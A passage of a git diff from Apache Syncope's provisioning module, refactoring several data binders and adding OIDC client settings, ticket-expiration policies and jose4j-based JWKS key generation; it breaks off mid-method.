scce.addException(unrelatable); } } } @@ -433,7 +421,7 @@ public PropagationByResource update(final AnyObject toBeUpdated, final A SyncopeClientException.build(ClientExceptionType.InvalidMembership); assigned.getElements().add("Multiple patches for group " + group.getName() + " were found"); scce.addException(assigned); - } else if (anyObject.getRealm().getFullPath().startsWith(group.getRealm().getFullPath())) { + } else { groups.add(group.getKey()); AMembership newMembership = entityFactory.newEntity(AMembership.class); @@ -475,13 +463,6 @@ public PropagationByResource update(final AnyObject toBeUpdated, final A } propByRes.addAll(ResourceOperation.UPDATE, groupDAO.findAllResourceKeys(group.getKey())); - } else { - LOG.error("{} cannot be assigned to {}", group, anyObject); - - SyncopeClientException unassignable = - SyncopeClientException.build(ClientExceptionType.InvalidMembership); - unassignable.getElements().add("Group " + group.getName() + " cannot be assigned"); - scce.addException(unassignable); } } }); @@ -497,7 +478,7 @@ public PropagationByResource update(final AnyObject toBeUpdated, final A // Build final information for next stage (propagation) propByRes.merge(propByRes( beforeOnResources, - onResources(saved, anyObjectDAO.findAllResourceKeys(anyObject.getKey()), null, false))); + onResources(saved, anyObjectDAO.findAllResourceKeys(anyObject.getKey()), null, Set.of()))); return propByRes; } } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AnyTypeDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AnyTypeDataBinderImpl.java index 57b7907afa8..72045e94fab 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AnyTypeDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AnyTypeDataBinderImpl.java @@ -49,8 +49,6 @@ public class AnyTypeDataBinderImpl implements AnyTypeDataBinder { protected static final Logger LOG = LoggerFactory.getLogger(AnyTypeDataBinder.class); - protected static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - protected final SecurityProperties securityProperties; protected final AnyTypeDAO anyTypeDAO; @@ -86,16 +84,14 @@ public AnyType create(final AnyTypeTO anyTypeTO) { AccessToken accessToken = accessTokenDAO.findByOwner(AuthContextUtils.getUsername()); try { Set authorities = new HashSet<>(POJOHelper.deserialize( - ENCRYPTOR.decode(new String(accessToken.getAuthorities()), CipherAlgorithm.AES), + Encryptor.getInstance().decode(new String(accessToken.getAuthorities()), CipherAlgorithm.AES), new TypeReference>() { })); - added.forEach(entitlement -> authorities.add( - new SyncopeGrantedAuthority(entitlement, SyncopeConstants.ROOT_REALM))); + added.forEach(e -> authorities.add(new SyncopeGrantedAuthority(e, SyncopeConstants.ROOT_REALM))); - accessToken.setAuthorities(ENCRYPTOR.encode( - POJOHelper.serialize(authorities), CipherAlgorithm.AES). - getBytes()); + accessToken.setAuthorities(Encryptor.getInstance().encode( + POJOHelper.serialize(authorities), CipherAlgorithm.AES).getBytes()); accessTokenDAO.save(accessToken); } catch (Exception e) { @@ -120,15 +116,15 @@ public void update(final AnyType anyType, final AnyTypeTO anyTypeTO) { throw sce; } - anyType.getClasses().clear(); anyTypeTO.getClasses().forEach(anyTypeClassName -> { AnyTypeClass anyTypeClass = anyTypeClassDAO.find(anyTypeClassName); if (anyTypeClass == null) { - LOG.debug("Invalid " + AnyTypeClass.class.getSimpleName() + " {}, ignoring...", anyTypeClassName); + LOG.debug("Invalid {} {}, ignoring...", AnyTypeClass.class.getSimpleName(), anyTypeClassName); } else { anyType.add(anyTypeClass); } }); + anyType.getClasses().removeIf(c -> c == null || !anyTypeTO.getClasses().contains(c.getKey())); } @Override @@ -137,22 +133,21 @@ public AnyTypeTO delete(final AnyType anyType) { anyTypeDAO.delete(anyType.getKey()); - final Set removed = EntitlementsHolder.getInstance().removeFor(deleted.getKey()); + Set removed = EntitlementsHolder.getInstance().removeFor(deleted.getKey()); if (!securityProperties.getAdminUser().equals(AuthContextUtils.getUsername())) { AccessToken accessToken = accessTokenDAO.findByOwner(AuthContextUtils.getUsername()); try { Set authorities = new HashSet<>(POJOHelper.deserialize( - ENCRYPTOR.decode(new String(accessToken.getAuthorities()), CipherAlgorithm.AES), + Encryptor.getInstance().decode(new String(accessToken.getAuthorities()), CipherAlgorithm.AES), new TypeReference>() { })); authorities.removeAll(authorities.stream(). filter(authority -> removed.contains(authority.getAuthority())).collect(Collectors.toList())); - accessToken.setAuthorities(ENCRYPTOR.encode( - POJOHelper.serialize(authorities), CipherAlgorithm.AES). - getBytes()); + accessToken.setAuthorities(Encryptor.getInstance().encode( + POJOHelper.serialize(authorities), CipherAlgorithm.AES).getBytes()); accessTokenDAO.save(accessToken); } catch (Exception e) { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AuthProfileDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AuthProfileDataBinderImpl.java index 79722e4ebec..584a020931c 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AuthProfileDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/AuthProfileDataBinderImpl.java @@ -40,6 +40,7 @@ public AuthProfileTO getAuthProfileTO(final AuthProfile authProfile) { authProfileTO.getGoogleMfaAuthTokens().addAll(authProfile.getGoogleMfaAuthTokens()); authProfileTO.getGoogleMfaAuthAccounts().addAll(authProfile.getGoogleMfaAuthAccounts()); authProfileTO.getU2FRegisteredDevices().addAll(authProfile.getU2FRegisteredDevices()); + authProfileTO.getMfaTrustedDevices().addAll(authProfile.getMfaTrustedDevices()); authProfileTO.getWebAuthnDeviceCredentials().addAll(authProfile.getWebAuthnDeviceCredentials()); return authProfileTO; } @@ -57,6 +58,7 @@ public AuthProfile update(final AuthProfile authProfile, final AuthProfileTO aut authProfile.setGoogleMfaAuthTokens(authProfileTO.getGoogleMfaAuthTokens()); authProfile.setGoogleMfaAuthAccounts(authProfileTO.getGoogleMfaAuthAccounts()); authProfile.setU2FRegisteredDevices(authProfileTO.getU2FRegisteredDevices()); + authProfile.setMfaTrustedDevices(authProfileTO.getMfaTrustedDevices()); authProfile.setWebAuthnDeviceCredentials(authProfileTO.getWebAuthnDeviceCredentials()); return authProfile; } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ClientAppDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ClientAppDataBinderImpl.java index f1db1005168..a1de8481f6a 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ClientAppDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ClientAppDataBinderImpl.java @@ -37,6 +37,7 @@ import org.apache.syncope.core.persistence.api.entity.policy.AttrReleasePolicy; import org.apache.syncope.core.persistence.api.entity.policy.AuthPolicy; import org.apache.syncope.core.persistence.api.entity.policy.Policy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.provisioning.api.data.ClientAppDataBinder; public class ClientAppDataBinderImpl implements ClientAppDataBinder { @@ -62,13 +63,15 @@ public ClientAppDataBinderImpl( public T create(final ClientAppTO clientAppTO) { if (clientAppTO instanceof SAML2SPClientAppTO) { return (T) doCreate((SAML2SPClientAppTO) clientAppTO); - } else if (clientAppTO instanceof OIDCRPClientAppTO) { + } + if (clientAppTO instanceof OIDCRPClientAppTO) { return (T) doCreate((OIDCRPClientAppTO) clientAppTO); - } else if (clientAppTO instanceof CASSPClientAppTO) { + } + if (clientAppTO instanceof CASSPClientAppTO) { return (T) doCreate((CASSPClientAppTO) clientAppTO); - } else { - throw new IllegalArgumentException("Unsupported client app: " + clientAppTO.getClass().getName()); } + + throw new IllegalArgumentException("Unsupported client app: " + clientAppTO.getClass().getName()); } @Override @@ -101,13 +104,13 @@ public T getClientAppTO(final ClientApp clientApp) { protected SAML2SPClientApp doCreate(final SAML2SPClientAppTO clientAppTO) { SAML2SPClientApp saml2sp = entityFactory.newEntity(SAML2SPClientApp.class); - update(saml2sp, clientAppTO); + doUpdate(saml2sp, clientAppTO); return saml2sp; } protected CASSPClientApp doCreate(final CASSPClientAppTO clientAppTO) { CASSPClientApp saml2sp = entityFactory.newEntity(CASSPClientApp.class); - update(saml2sp, clientAppTO); + doUpdate(saml2sp, clientAppTO); return saml2sp; } @@ -154,18 +157,26 @@ protected void copyToTO(final ClientApp clientApp, final ClientAppTO clientAppTO clientAppTO.setKey(clientApp.getKey()); clientAppTO.setRealm(Optional.ofNullable(clientApp.getRealm()).map(Realm::getFullPath).orElse(null)); clientAppTO.setName(clientApp.getName()); - clientAppTO.setDescription(clientApp.getDescription()); clientAppTO.setClientAppId(clientApp.getClientAppId()); + clientAppTO.setEvaluationOrder(clientApp.getEvaluationOrder()); + clientAppTO.setDescription(clientApp.getDescription()); + clientAppTO.setLogo(clientApp.getLogo()); clientAppTO.setTheme(clientApp.getTheme()); - - clientAppTO.setAuthPolicy( - Optional.ofNullable(clientApp.getAuthPolicy()).map(AuthPolicy::getKey).orElse(null)); - clientAppTO.setAccessPolicy( - Optional.ofNullable(clientApp.getAccessPolicy()).map(AccessPolicy::getKey).orElse(null)); - clientAppTO.setAttrReleasePolicy( - Optional.ofNullable(clientApp.getAttrReleasePolicy()).map(AttrReleasePolicy::getKey).orElse(null)); + clientAppTO.setInformationUrl(clientApp.getInformationUrl()); + clientAppTO.setPrivacyUrl(clientApp.getPrivacyUrl()); + clientAppTO.setUsernameAttributeProviderConf(clientApp.getUsernameAttributeProviderConf()); + + clientAppTO.setAuthPolicy(Optional.ofNullable(clientApp.getAuthPolicy()). + map(AuthPolicy::getKey).orElse(null)); + clientAppTO.setAccessPolicy(Optional.ofNullable(clientApp.getAccessPolicy()). + map(AccessPolicy::getKey).orElse(null)); + clientAppTO.setAttrReleasePolicy(Optional.ofNullable(clientApp.getAttrReleasePolicy()). + map(AttrReleasePolicy::getKey).orElse(null)); + clientAppTO.setTicketExpirationPolicy(Optional.ofNullable(clientApp.getTicketExpirationPolicy()). + map(TicketExpirationPolicy::getKey).orElse(null)); clientAppTO.getProperties().addAll(clientApp.getProperties()); + clientAppTO.setLogoutType(clientApp.getLogoutType()); } protected SAML2SPClientAppTO getSAMLClientAppTO(final SAML2SPClientApp clientApp) { @@ -205,26 +216,41 @@ protected SAML2SPClientAppTO getSAMLClientAppTO(final SAML2SPClientApp clientApp protected OIDCRPClientApp doCreate(final OIDCRPClientAppTO clientAppTO) { OIDCRPClientApp oidcrp = entityFactory.newEntity(OIDCRPClientApp.class); - update(oidcrp, clientAppTO); + doUpdate(oidcrp, clientAppTO); return oidcrp; } protected void doUpdate(final OIDCRPClientApp clientApp, final OIDCRPClientAppTO clientAppTO) { copyToEntity(clientApp, clientAppTO); - clientApp.setClientSecret(clientAppTO.getClientSecret()); clientApp.setClientId(clientAppTO.getClientId()); + clientApp.setClientSecret(clientAppTO.getClientSecret()); + clientApp.setIdTokenIssuer(clientAppTO.getIdTokenIssuer()); clientApp.setSignIdToken(clientAppTO.isSignIdToken()); + clientApp.setIdTokenSigningAlg(clientAppTO.getIdTokenSigningAlg()); + clientApp.setEncryptIdToken(clientAppTO.isEncryptIdToken()); + clientApp.setIdTokenEncryptionAlg(clientAppTO.getIdTokenEncryptionAlg()); + clientApp.setIdTokenEncryptionEncoding(clientAppTO.getIdTokenEncryptionEncoding()); + clientApp.setUserInfoSigningAlg(clientAppTO.getUserInfoSigningAlg()); + clientApp.setUserInfoEncryptedResponseAlg(clientAppTO.getUserInfoEncryptedResponseAlg()); + clientApp.setUserInfoEncryptedResponseEncoding(clientAppTO.getUserInfoEncryptedResponseEncoding()); clientApp.setJwtAccessToken(clientAppTO.isJwtAccessToken()); clientApp.setBypassApprovalPrompt(clientAppTO.isBypassApprovalPrompt()); + clientApp.setGenerateRefreshToken(clientAppTO.isGenerateRefreshToken()); clientApp.setSubjectType(clientAppTO.getSubjectType()); + clientApp.setApplicationType(clientAppTO.getApplicationType()); clientApp.getRedirectUris().clear(); clientApp.getRedirectUris().addAll(clientAppTO.getRedirectUris()); clientApp.getSupportedGrantTypes().clear(); clientApp.getSupportedGrantTypes().addAll(clientAppTO.getSupportedGrantTypes()); clientApp.getSupportedResponseTypes().clear(); clientApp.getSupportedResponseTypes().addAll(clientAppTO.getSupportedResponseTypes()); + clientApp.getScopes().clear(); + clientApp.getScopes().addAll(clientAppTO.getScopes()); clientApp.setLogoutUri(clientAppTO.getLogoutUri()); + clientApp.setJwks(clientAppTO.getJwks()); + clientApp.setJwksUri(clientAppTO.getJwksUri()); + clientApp.setTokenEndpointAuthenticationMethod(clientAppTO.getTokenEndpointAuthenticationMethod()); } protected OIDCRPClientAppTO getOIDCClientAppTO(final OIDCRPClientApp clientApp) { @@ -233,14 +259,30 @@ protected OIDCRPClientAppTO getOIDCClientAppTO(final OIDCRPClientApp clientApp) clientAppTO.setClientId(clientApp.getClientId()); clientAppTO.setClientSecret(clientApp.getClientSecret()); + clientAppTO.setIdTokenIssuer(clientApp.getIdTokenIssuer()); clientAppTO.setSignIdToken(clientApp.isSignIdToken()); + clientAppTO.setIdTokenSigningAlg(clientApp.getIdTokenSigningAlg()); + clientAppTO.setEncryptIdToken(clientApp.isEncryptIdToken()); + clientAppTO.setIdTokenEncryptionAlg(clientApp.getIdTokenEncryptionAlg()); + clientAppTO.setIdTokenEncryptionEncoding(clientApp.getIdTokenEncryptionEncoding()); + clientAppTO.setUserInfoSigningAlg(clientApp.getUserInfoSigningAlg()); + clientAppTO.setUserInfoEncryptedResponseAlg(clientApp.getUserInfoEncryptedResponseAlg()); + clientAppTO.setUserInfoEncryptedResponseEncoding(clientApp.getUserInfoEncryptedResponseEncoding()); + clientAppTO.setJwtAccessToken(clientApp.isJwtAccessToken()); + clientAppTO.setBypassApprovalPrompt(clientApp.isBypassApprovalPrompt()); + clientAppTO.setGenerateRefreshToken(clientApp.isGenerateRefreshToken()); clientAppTO.setSubjectType(clientApp.getSubjectType()); + clientAppTO.setApplicationType(clientApp.getApplicationType()); clientAppTO.getRedirectUris().addAll(clientApp.getRedirectUris()); + clientAppTO.getSupportedGrantTypes().clear(); clientAppTO.getSupportedGrantTypes().addAll(clientApp.getSupportedGrantTypes()); + clientAppTO.getSupportedResponseTypes().clear(); clientAppTO.getSupportedResponseTypes().addAll(clientApp.getSupportedResponseTypes()); + clientAppTO.getScopes().addAll(clientApp.getScopes()); clientAppTO.setLogoutUri(clientApp.getLogoutUri()); - clientAppTO.setJwtAccessToken(clientApp.isJwtAccessToken()); - clientAppTO.setBypassApprovalPrompt(clientApp.isBypassApprovalPrompt()); + clientAppTO.setJwks(clientApp.getJwks()); + clientAppTO.setJwksUri(clientApp.getJwksUri()); + clientAppTO.setTokenEndpointAuthenticationMethod(clientApp.getTokenEndpointAuthenticationMethod()); return clientAppTO; } @@ -267,8 +309,13 @@ protected void copyToEntity(final ClientApp clientApp, final ClientAppTO clientA clientApp.setName(clientAppTO.getName()); clientApp.setClientAppId(clientAppTO.getClientAppId()); + clientApp.setEvaluationOrder(clientAppTO.getEvaluationOrder()); clientApp.setDescription(clientAppTO.getDescription()); + clientApp.setLogo(clientAppTO.getLogo()); clientApp.setTheme(clientAppTO.getTheme()); + clientApp.setInformationUrl(clientAppTO.getInformationUrl()); + clientApp.setPrivacyUrl(clientAppTO.getPrivacyUrl()); + clientApp.setUsernameAttributeProviderConf(clientAppTO.getUsernameAttributeProviderConf()); if (clientAppTO.getAuthPolicy() == null) { clientApp.setAuthPolicy(null); @@ -312,6 +359,21 @@ protected void copyToEntity(final ClientApp clientApp, final ClientAppTO clientA } } + if (clientAppTO.getTicketExpirationPolicy() == null) { + clientApp.setTicketExpirationPolicy(null); + } else { + Policy policy = policyDAO.find(clientAppTO.getTicketExpirationPolicy()); + if (policy instanceof TicketExpirationPolicy) { + clientApp.setTicketExpirationPolicy((TicketExpirationPolicy) policy); + } else { + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidPolicy); + sce.getElements().add("Expected " + TicketExpirationPolicy.class.getSimpleName() + + ", found " + policy.getClass().getSimpleName()); + throw sce; + } + } + clientApp.setProperties(clientAppTO.getProperties()); + clientApp.setLogoutType(clientAppTO.getLogoutType()); } } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ConnInstanceDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ConnInstanceDataBinderImpl.java index 3d10cc299f3..7bbdf8cce63 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ConnInstanceDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ConnInstanceDataBinderImpl.java @@ -22,7 +22,6 @@ import java.util.Collection; import java.util.Collections; import java.util.List; -import java.util.Optional; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.ConnInstanceTO; @@ -232,12 +231,13 @@ public ConnInstanceTO getConnInstanceTO(final ConnInstance connInstance) { properties.getPropertyNames().forEach(propName -> { ConnConfPropSchema schema = build(properties.getProperty(propName)); - Optional property = connInstanceTO.getConf(propName); - if (property.isEmpty()) { - property = Optional.of(new ConnConfProperty()); - connInstanceTO.getConf().add(property.get()); - } - property.get().setSchema(schema); + ConnConfProperty property = connInstanceTO.getConf(propName). + orElseGet(() -> { + ConnConfProperty p = new ConnConfProperty(); + connInstanceTO.getConf().add(p); + return p; + }); + property.setSchema(schema); }); } catch (Exception e) { LOG.error("Could not get ConnId information for {} / {}#{}#{}", diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/FIQLQueryDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/FIQLQueryDataBinderImpl.java index a6ae6d457b5..38aace20a23 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/FIQLQueryDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/FIQLQueryDataBinderImpl.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.core.provisioning.java.data; +import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.FIQLQueryTO; import org.apache.syncope.common.lib.types.ClientExceptionType; @@ -66,7 +67,9 @@ public FIQLQuery update(final FIQLQuery fiqlQuery, final FIQLQueryTO fiqlQueryTO fiqlQuery.setName(fiqlQueryTO.getName()); fiqlQuery.setTarget(fiqlQueryTO.getTarget()); - SearchCond cond = SearchCondConverter.convert(searchCondVisitor, fiqlQueryTO.getFiql()); + SearchCond cond = StringUtils.isBlank(fiqlQueryTO.getFiql()) + ? new SearchCond() + : SearchCondConverter.convert(searchCondVisitor, fiqlQueryTO.getFiql()); if (!cond.isValid()) { SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidSearchParameters); sce.getElements().add(fiqlQueryTO.getFiql()); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/GroupDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/GroupDataBinderImpl.java index b49e90a43b8..f80ca653f73 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/GroupDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/GroupDataBinderImpl.java @@ -23,6 +23,7 @@ import java.util.Iterator; import java.util.List; import java.util.Map; +import java.util.Set; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.SyncopeClientCompositeException; @@ -48,13 +49,13 @@ import org.apache.syncope.core.persistence.api.dao.RelationshipTypeDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; -import org.apache.syncope.core.persistence.api.entity.Any; import org.apache.syncope.core.persistence.api.entity.AnyType; import org.apache.syncope.core.persistence.api.entity.AnyTypeClass; import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; import org.apache.syncope.core.persistence.api.entity.DerSchema; import org.apache.syncope.core.persistence.api.entity.DynGroupMembership; import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.api.entity.GroupableRelatable; import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.VirSchema; import org.apache.syncope.core.persistence.api.entity.anyobject.ADynGroupMembership; @@ -251,7 +252,7 @@ public PropagationByResource update(final Group toBeUpdated, final Group // Save projection on Resources (before update) Map beforeOnResources = - onResources(group, groupDAO.findAllResourceKeys(group.getKey()), null, false); + onResources(group, groupDAO.findAllResourceKeys(group.getKey()), null, Set.of()); SyncopeClientCompositeException scce = SyncopeClientException.buildComposite(); @@ -382,7 +383,7 @@ public PropagationByResource update(final Group toBeUpdated, final Group // Build final information for next stage (propagation) PropagationByResource propByRes = propByRes( - beforeOnResources, onResources(group, groupDAO.findAllResourceKeys(group.getKey()), null, false)); + beforeOnResources, onResources(group, groupDAO.findAllResourceKeys(group.getKey()), null, Set.of())); propByRes.merge(ownerPropByRes); return propByRes; } @@ -435,8 +436,8 @@ public GroupTO getGroupTO(final Group group, final boolean details) { groupTO.getDynRealms().addAll(groupDAO.findDynRealms(group.getKey())); // Static user and AnyType membership counts - groupTO.setStaticUserMembershipCount(groupDAO.countUMembers(group)); - groupTO.setStaticAnyObjectMembershipCount(groupDAO.countAMembers(group)); + groupTO.setStaticUserMembershipCount(groupDAO.countUMembers(group.getKey())); + groupTO.setStaticAnyObjectMembershipCount(groupDAO.countAMembers(group.getKey())); // Dynamic user and AnyType membership counts groupTO.setDynamicUserMembershipCount(groupDAO.countUDynMembers(group)); @@ -461,11 +462,18 @@ public GroupTO getGroupTO(final String key) { } protected static void populateTransitiveResources( - final Group group, final Any any, final Map> result) { + final Group group, + final GroupableRelatable any, + final Map> result) { PropagationByResource propByRes = new PropagationByResource<>(); group.getResources().forEach(resource -> { - if (!any.getResources().contains(resource)) { + // exclude from propagation those objects that have that resource assigned by some other membership(s) + if (!any.getResources().contains(resource) + && any.getMemberships().stream(). + filter(m -> !m.getRightEnd().equals(group)). + noneMatch(m -> m.getRightEnd().getResources().contains(resource))) { + propByRes.add(ResourceOperation.DELETE, resource.getKey()); } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ImplementationDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ImplementationDataBinderImpl.java index d26b493a54c..53eec0b341b 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ImplementationDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/ImplementationDataBinderImpl.java @@ -23,7 +23,7 @@ import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.policy.RuleConf; -import org.apache.syncope.common.lib.report.ReportletConf; +import org.apache.syncope.common.lib.report.ReportConf; import org.apache.syncope.common.lib.to.ImplementationTO; import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.IdMImplementationType; @@ -34,6 +34,7 @@ import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.provisioning.api.data.ImplementationDataBinder; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; +import org.apache.syncope.core.spring.implementation.ImplementationManager; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -93,10 +94,10 @@ public void update(final Implementation implementation, final ImplementationTO i } switch (implementation.getType()) { - case IdRepoImplementationType.REPORTLET: - ReportletConf reportlet = POJOHelper.deserialize(implementation.getBody(), ReportletConf.class); - if (reportlet == null) { - sce.getElements().add("Could not deserialize as ReportletConf"); + case IdRepoImplementationType.REPORT_DELEGATE: + ReportConf conf = POJOHelper.deserialize(implementation.getBody(), ReportConf.class); + if (conf == null) { + sce.getElements().add("Could not deserialize as " + ReportConf.class.getName()); throw sce; } break; @@ -133,6 +134,15 @@ public void update(final Implementation implementation, final ImplementationTO i } break; } + } else if (implementation.getEngine() == ImplementationEngine.GROOVY) { + try { + ImplementationManager.build(implementation); + } catch (Exception e) { + LOG.error("While building Groovy class {}", implementation.getKey(), e); + + sce.getElements().add(e.getMessage()); + throw sce; + } } } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/JEXLItemTransformerImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/JEXLItemTransformerImpl.java index d59324efed1..b709a3cfe3c 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/JEXLItemTransformerImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/JEXLItemTransformerImpl.java @@ -102,7 +102,7 @@ protected AttrSchemaType beforePropagation( } jexlContext.set("value", oValue); - Object tValue = JexlUtils.evaluate(propagationJEXL, jexlContext); + Object tValue = JexlUtils.evaluateExpr(propagationJEXL, jexlContext); value.setBinaryValue(null); value.setBooleanValue(null); @@ -183,7 +183,7 @@ public List beforePull( JexlUtils.addAttrsToContext(((AnyTO) entityTO).getVirAttrs(), jexlContext); } - newValues.add(JexlUtils.evaluate(pullJEXL, jexlContext)); + newValues.add(JexlUtils.evaluateExpr(pullJEXL, jexlContext)); }); return newValues; diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/OIDCJWKSDataBinderImpl.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/OIDCJWKSDataBinderImpl.java index c8296be68cc..862c83decdd 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/OIDCJWKSDataBinderImpl.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/OIDCJWKSDataBinderImpl.java @@ -18,20 +18,9 @@ */ package org.apache.syncope.core.provisioning.java.data; -import com.nimbusds.jose.JOSEException; -import com.nimbusds.jose.jwk.Curve; -import com.nimbusds.jose.jwk.ECKey; -import com.nimbusds.jose.jwk.JWK; -import com.nimbusds.jose.jwk.JWKSet; -import com.nimbusds.jose.jwk.KeyUse; -import com.nimbusds.jose.jwk.gen.RSAKeyGenerator; -import com.nimbusds.jose.util.JSONObjectUtils; -import java.security.InvalidAlgorithmParameterException; -import java.security.KeyPair; -import java.security.KeyPairGenerator; -import java.security.NoSuchAlgorithmException; -import java.security.interfaces.ECPrivateKey; -import java.security.interfaces.ECPublicKey; +import java.util.ArrayList; +import java.util.List; +import java.util.Locale; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.OIDCJWKSTO; import org.apache.syncope.common.lib.types.ClientExceptionType; @@ -39,6 +28,15 @@ import org.apache.syncope.core.persistence.api.entity.am.OIDCJWKS; import org.apache.syncope.core.provisioning.api.data.OIDCJWKSDataBinder; import org.apache.syncope.core.spring.security.SecureRandomUtils; +import org.jose4j.jwk.EcJwkGenerator; +import org.jose4j.jwk.JsonWebKey; +import org.jose4j.jwk.JsonWebKeySet; +import org.jose4j.jwk.PublicJsonWebKey; +import org.jose4j.jwk.RsaJwkGenerator; +import org.jose4j.jwk.Use; +import org.jose4j.jws.AlgorithmIdentifiers; +import org.jose4j.keys.EllipticCurves; +import org.jose4j.lang.JoseException; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -54,61 +52,59 @@ public OIDCJWKSDataBinderImpl(final EntityFactory entityFactory) { @Override public OIDCJWKSTO getOIDCJWKSTO(final OIDCJWKS jwks) { - return new OIDCJWKSTO.Builder().json(jwks.getJson()).key(jwks.getKey()).build(); + return new OIDCJWKSTO.Builder(). + key(jwks.getKey()). + json(jwks.getJson()). + build(); } - @Override - public OIDCJWKS create(final String jwksKeyId, final String jwksType, final int jwksKeySize) { - JWK jwk; - try { - switch (jwksType.trim().toLowerCase()) { - case "ec": - KeyPairGenerator gen = KeyPairGenerator.getInstance("EC"); - KeyPair keyPair; - switch (jwksKeySize) { - case 384: - gen.initialize(Curve.P_384.toECParameterSpec()); - keyPair = gen.generateKeyPair(); - jwk = new ECKey.Builder(Curve.P_384, (ECPublicKey) keyPair.getPublic()). - privateKey((ECPrivateKey) keyPair.getPrivate()). - keyUse(KeyUse.SIGNATURE). - keyID(jwksKeyId.concat("-"). - concat(SecureRandomUtils.generateRandomUUID().toString().substring(0, 8))). - build(); - break; + protected PublicJsonWebKey generate( + final String jwksKeyId, + final String jwksType, + final int jwksKeySize, + final String use, + final JsonWebKeyLifecycleState state) throws JoseException { - case 512: - gen.initialize(Curve.P_521.toECParameterSpec()); - keyPair = gen.generateKeyPair(); - jwk = new ECKey.Builder(Curve.P_521, (ECPublicKey) keyPair.getPublic()). - privateKey((ECPrivateKey) keyPair.getPrivate()). - keyUse(KeyUse.SIGNATURE). - keyID(jwksKeyId.concat("-"). - concat(SecureRandomUtils.generateRandomUUID().toString().substring(0, 8))). - build(); - break; + PublicJsonWebKey jwk; + switch (jwksType.trim().toLowerCase(Locale.ENGLISH)) { + case "ec": + switch (jwksKeySize) { + case 384: + jwk = EcJwkGenerator.generateJwk(EllipticCurves.P384); + jwk.setAlgorithm(AlgorithmIdentifiers.ECDSA_USING_P384_CURVE_AND_SHA384); + break; - default: - gen.initialize(Curve.P_256.toECParameterSpec()); - keyPair = gen.generateKeyPair(); - jwk = new ECKey.Builder(Curve.P_256, (ECPublicKey) keyPair.getPublic()). - privateKey((ECPrivateKey) keyPair.getPrivate()). - keyUse(KeyUse.SIGNATURE). - keyID(jwksKeyId.concat("-"). - concat(SecureRandomUtils.generateRandomUUID().toString().substring(0, 8))). - build(); - } - break; + case 512: + jwk = 